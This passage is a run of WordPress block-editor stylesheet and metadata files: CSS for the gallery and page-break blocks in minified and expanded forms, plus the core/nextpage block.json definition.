a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item img{flex:1;height:100%;object-fit:cover;width:100%}.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item{margin-left:0;width:100%}@media (min-width:600px){.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item{margin-left:1em;width:calc(33.33333% - .66667em)}.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item{margin-left:1em;width:calc(25% - .75em)}.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item{margin-left:1em;width:calc(20% - .8em)}.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item{margin-left:1em;width:calc(16.66667% - .83333em)}.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item{margin-left:1em;width:calc(14.28571% - .85714em)}.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item{margin-left:1em;width:calc(12.5% - .875em)}.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n){margin-left:0}}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:last-child,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:last-child{margin-left:0}.blocks-gallery-grid:not(.has-nested-images).alignleft,.blocks-gallery-grid:not(.has-nested-images).alignright,.wp-block-gallery:not(.has-nested-images).alignleft,.wp-block-gallery:not(.has-nested-images).alignright{max-width:420px;width:100%}.blocks-gallery-grid:not(.has-nested-images).aligncenter .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images).aligncenter .blocks-gallery-item figure{justify-content:center}.wp-block-gallery:not(.is-cropped) .blocks-gallery-item{align-self:flex-start}figure.wp-block-gallery.has-nested-images{align-items:normal}.wp-block-gallery.has-nested-images figure.wp-block-image:not(#individual-image){margin:0;width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)/2)}.wp-block-gallery.has-nested-images figure.wp-block-image{box-sizing:border-box;display:flex;flex-direction:column;flex-grow:1;justify-content:center;max-width:100%;position:relative}.wp-block-gallery.has-nested-images figure.wp-block-image>a,.wp-block-gallery.has-nested-images figure.wp-block-image>div{flex-direction:column;flex-grow:1;margin:0}.wp-block-gallery.has-nested-images figure.wp-block-image img{display:block;height:auto;max-width:100%!important;width:auto}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{background:linear-gradient(0deg,#000000b3,#0000004d 70%,#0000);bottom:0;box-sizing:border-box;color:#fff;font-size:13px;margin-bottom:0;max-height:60%;overflow:auto;padding:0 8px 8px;position:absolute;right:0;scrollbar-color:#0000 #0000;scrollbar-gutter:stable both-edges;scrollbar-width:thin;text-align:center;width:100%;will-change:transform}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar{height:12px;width:12px}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-track{background-color:initial}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:initial;border:3px solid #0000;border-radius:8px}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within::-webkit-scrollbar-thumb,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus::-webkit-scrollbar-thumb,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover::-webkit-scrollbar-thumb{background-color:#fffc}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover{scrollbar-color:#fffc #0000}@media (hover:none){.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{scrollbar-color:#fffc #0000}}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption img{display:inline}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption a{color:inherit}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border img{box-sizing:border-box}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>a,.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>div,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>a,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>div{flex:1 1 auto}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border figcaption,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded figcaption{background:none;color:inherit;flex:initial;margin:0;padding:10px 10px 9px;position:relative}.wp-block-gallery.has-nested-images figcaption{flex-basis:100%;flex-grow:1;text-align:center}.wp-block-gallery.has-nested-images:not(.is-cropped) figure.wp-block-image:not(#individual-image){margin-bottom:auto;margin-top:0}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image){align-self:inherit}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>div:not(.components-drop-zone){display:flex}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) img{flex:1 0 0%;height:100%;object-fit:cover;width:100%}.wp-block-gallery.has-nested-images.columns-1 figure.wp-block-image:not(#individual-image){width:100%}@media (min-width:600px){.wp-block-gallery.has-nested-images.columns-3 figure.wp-block-image:not(#individual-image){width:calc(33.33333% - var(--wp--style--unstable-gallery-gap, 16px)*.66667)}.wp-block-gallery.has-nested-images.columns-4 figure.wp-block-image:not(#individual-image){width:calc(25% - var(--wp--style--unstable-gallery-gap, 16px)*.75)}.wp-block-gallery.has-nested-images.columns-5 figure.wp-block-image:not(#individual-image){width:calc(20% - var(--wp--style--unstable-gallery-gap, 16px)*.8)}.wp-block-gallery.has-nested-images.columns-6 figure.wp-block-image:not(#individual-image){width:calc(16.66667% - var(--wp--style--unstable-gallery-gap, 16px)*.83333)}.wp-block-gallery.has-nested-images.columns-7 figure.wp-block-image:not(#individual-image){width:calc(14.28571% - var(--wp--style--unstable-gallery-gap, 16px)*.85714)}.wp-block-gallery.has-nested-images.columns-8 figure.wp-block-image:not(#individual-image){width:calc(12.5% - var(--wp--style--unstable-gallery-gap, 16px)*.875)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image){width:calc(33.33% - var(--wp--style--unstable-gallery-gap, 16px)*.66667)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2),.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2)~figure.wp-block-image:not(#individual-image){width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)*.5)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:last-child{width:100%}}.wp-block-gallery.has-nested-images.alignleft,.wp-block-gallery.has-nested-images.alignright{max-width:420px;width:100%}.wp-block-gallery.has-nested-images.aligncenter{justify-content:center}.blocks-gallery-grid:not(.has-nested-images),.wp-block-gallery:not(.has-nested-images){
  display:flex;
  flex-wrap:wrap;
  list-style-type:none;
  margin:0;
  padding:0;
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item{
  display:flex;
  flex-direction:column;
  flex-grow:1;
  justify-content:center;
  margin:0 0 1em 1em;
  position:relative;
  width:calc(50% - 1em);
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n){
  margin-left:0;
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figure,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figure{
  align-items:flex-end;
  display:flex;
  height:100%;
  justify-content:flex-start;
  margin:0;
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item img{
  display:block;
  height:auto;
  max-width:100%;
  width:auto;
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption{
  background:linear-gradient(0deg, #000000b3, #0000004d 70%, #0000);
  bottom:0;
  box-sizing:border-box;
  color:#fff;
  font-size:.8em;
  margin:0;
  max-height:100%;
  overflow:auto;
  padding:3em .77em .7em;
  position:absolute;
  text-align:center;
  width:100%;
  z-index:2;
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption img{
  display:inline;
}
.blocks-gallery-grid:not(.has-nested-images) figcaption,.wp-block-gallery:not(.has-nested-images) figcaption{
  flex-grow:1;
}
.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item img{
  flex:1;
  height:100%;
  object-fit:cover;
  width:100%;
}
.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item{
  margin-left:0;
  width:100%;
}
@media (min-width:600px){
  .blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item{
    margin-left:1em;
    width:calc(33.33333% - .66667em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item{
    margin-left:1em;
    width:calc(25% - .75em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item{
    margin-left:1em;
    width:calc(20% - .8em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item{
    margin-left:1em;
    width:calc(16.66667% - .83333em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item{
    margin-left:1em;
    width:calc(14.28571% - .85714em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item{
    margin-left:1em;
    width:calc(12.5% - .875em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n){
    margin-left:0;
  }
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:last-child,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:last-child{
  margin-left:0;
}
.blocks-gallery-grid:not(.has-nested-images).alignleft,.blocks-gallery-grid:not(.has-nested-images).alignright,.wp-block-gallery:not(.has-nested-images).alignleft,.wp-block-gallery:not(.has-nested-images).alignright{
  max-width:420px;
  width:100%;
}
.blocks-gallery-grid:not(.has-nested-images).aligncenter .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images).aligncenter .blocks-gallery-item figure{
  justify-content:center;
}

.wp-block-gallery:not(.is-cropped) .blocks-gallery-item{
  align-self:flex-start;
}

figure.wp-block-gallery.has-nested-images{
  align-items:normal;
}

.wp-block-gallery.has-nested-images figure.wp-block-image:not(#individual-image){
  margin:0;
  width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)/2);
}
.wp-block-gallery.has-nested-images figure.wp-block-image{
  box-sizing:border-box;
  display:flex;
  flex-direction:column;
  flex-grow:1;
  justify-content:center;
  max-width:100%;
  position:relative;
}
.wp-block-gallery.has-nested-images figure.wp-block-image>a,.wp-block-gallery.has-nested-images figure.wp-block-image>div{
  flex-direction:column;
  flex-grow:1;
  margin:0;
}
.wp-block-gallery.has-nested-images figure.wp-block-image img{
  display:block;
  height:auto;
  max-width:100% !important;
  width:auto;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{
  background:linear-gradient(0deg, #000000b3, #0000004d 70%, #0000);
  bottom:0;
  box-sizing:border-box;
  color:#fff;
  font-size:13px;
  margin-bottom:0;
  max-height:60%;
  overflow:auto;
  padding:0 8px 8px;
  position:absolute;
  right:0;
  scrollbar-color:#0000 #0000;
  scrollbar-gutter:stable both-edges;
  scrollbar-width:thin;
  text-align:center;
  width:100%;
  will-change:transform;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar{
  height:12px;
  width:12px;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-track{
  background-color:initial;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-thumb{
  background-clip:padding-box;
  background-color:initial;
  border:3px solid #0000;
  border-radius:8px;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within::-webkit-scrollbar-thumb,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus::-webkit-scrollbar-thumb,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover::-webkit-scrollbar-thumb{
  background-color:#fffc;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover{
  scrollbar-color:#fffc #0000;
}
@media (hover:none){
  .wp-block-gallery.has-nested-images figure.wp-block-image figcaption{
    scrollbar-color:#fffc #0000;
  }
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption img{
  display:inline;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption a{
  color:inherit;
}
.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border img{
  box-sizing:border-box;
}
.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>a,.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>div,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>a,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>div{
  flex:1 1 auto;
}
.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border figcaption,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded figcaption{
  background:none;
  color:inherit;
  flex:initial;
  margin:0;
  padding:10px 10px 9px;
  position:relative;
}
.wp-block-gallery.has-nested-images figcaption{
  flex-basis:100%;
  flex-grow:1;
  text-align:center;
}
.wp-block-gallery.has-nested-images:not(.is-cropped) figure.wp-block-image:not(#individual-image){
  margin-bottom:auto;
  margin-top:0;
}
.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image){
  align-self:inherit;
}
.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>div:not(.components-drop-zone){
  display:flex;
}
.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) img{
  flex:1 0 0%;
  height:100%;
  object-fit:cover;
  width:100%;
}
.wp-block-gallery.has-nested-images.columns-1 figure.wp-block-image:not(#individual-image){
  width:100%;
}
@media (min-width:600px){
  .wp-block-gallery.has-nested-images.columns-3 figure.wp-block-image:not(#individual-image){
    width:calc(33.33333% - var(--wp--style--unstable-gallery-gap, 16px)*.66667);
  }
  .wp-block-gallery.has-nested-images.columns-4 figure.wp-block-image:not(#individual-image){
    width:calc(25% - var(--wp--style--unstable-gallery-gap, 16px)*.75);
  }
  .wp-block-gallery.has-nested-images.columns-5 figure.wp-block-image:not(#individual-image){
    width:calc(20% - var(--wp--style--unstable-gallery-gap, 16px)*.8);
  }
  .wp-block-gallery.has-nested-images.columns-6 figure.wp-block-image:not(#individual-image){
    width:calc(16.66667% - var(--wp--style--unstable-gallery-gap, 16px)*.83333);
  }
  .wp-block-gallery.has-nested-images.columns-7 figure.wp-block-image:not(#individual-image){
    width:calc(14.28571% - var(--wp--style--unstable-gallery-gap, 16px)*.85714);
  }
  .wp-block-gallery.has-nested-images.columns-8 figure.wp-block-image:not(#individual-image){
    width:calc(12.5% - var(--wp--style--unstable-gallery-gap, 16px)*.875);
  }
  .wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image){
    width:calc(33.33% - var(--wp--style--unstable-gallery-gap, 16px)*.66667);
  }
  .wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2),.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2)~figure.wp-block-image:not(#individual-image){
    width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)*.5);
  }
  .wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:last-child{
    width:100%;
  }
}
.wp-block-gallery.has-nested-images.alignleft,.wp-block-gallery.has-nested-images.alignright{
  max-width:420px;
  width:100%;
}
.wp-block-gallery.has-nested-images.aligncenter{
  justify-content:center;
}{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/nextpage",
	"title": "Page Break",
	"category": "design",
	"description": "Separate your content into a multi-page experience.",
	"keywords": [ "next page", "pagination" ],
	"parent": [ "core/post-content" ],
	"textdomain": "default",
	"supports": {
		"customClassName": false,
		"className": false,
		"html": false,
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-nextpage-editor"
}
.block-editor-block-list__block[data-type="core/nextpage"]{margin-bottom:28px;margin-top:28px;max-width:100%;text-align:center}.wp-block-nextpage{display:block;text-align:center;white-space:nowrap}.wp-block-nextpage>span{background:#fff;border-radius:4px;color:#757575;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:600;height:24px;padding:6px 8px;position:relative;text-transform:uppercase}.wp-block-nextpage:before{border-top:3px dashed #ccc;content:"";left:0;position:absolute;right:0;top:50%}.block-editor-block-list__block[data-type="core/nextpage"]{
  margin-bottom:28px;
  margin-top:28px;
  max-width:100%;
  text-align:center;
}

.wp-block-nextpage{
  display:block;
  text-align:center;
  white-space:nowrap;
}
.wp-block-nextpage>span{
  background:#fff;
  border-radius:4px;
  color:#757575;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  font-weight:600;
  height:24px;
  padding:6px 8px;
  position:relative;
  text-transform:uppercase;
}
.wp-block-nextpage:before{
  border-top:3px dashed #ccc;
  content:"";
  left:0;
  position:absolute;
  right:0;
  top:50%;
}.block-editor-block-list__block[data-type="core/nextpage"]{margin-bottom:28px;margin-top:28px;max-width:100%;text-align:center}.wp-block-nextpage{display:block;text-align:center;white-space:nowrap}.wp-block-nextpage>span{background:#fff;border-radius:4px;color:#757575;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:600;height:24px;padding:6px 8px;position:relative;text-transform:uppercase}.wp-block-nextpage:before{border-top:3px dashed #ccc;content:"";left:0;position:absolute;right:0;top:50%}.block-editor-block-list__block[data-type="core/nextpage"]{
  margin-bottom:28px;
  margin-top:28px;
  max-width:100%;
  text-align:center;
}

.wp-block-nextpage{
  display:block;
  text-align:center;
  white-space:nowrap;
}
.wp-block-nextpage>span{
  background:#fff;
  border-radius:4px;
  color:#757575;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  font-weight:600;
  height:24px;
  padding:6px 8px;
  position:relative;
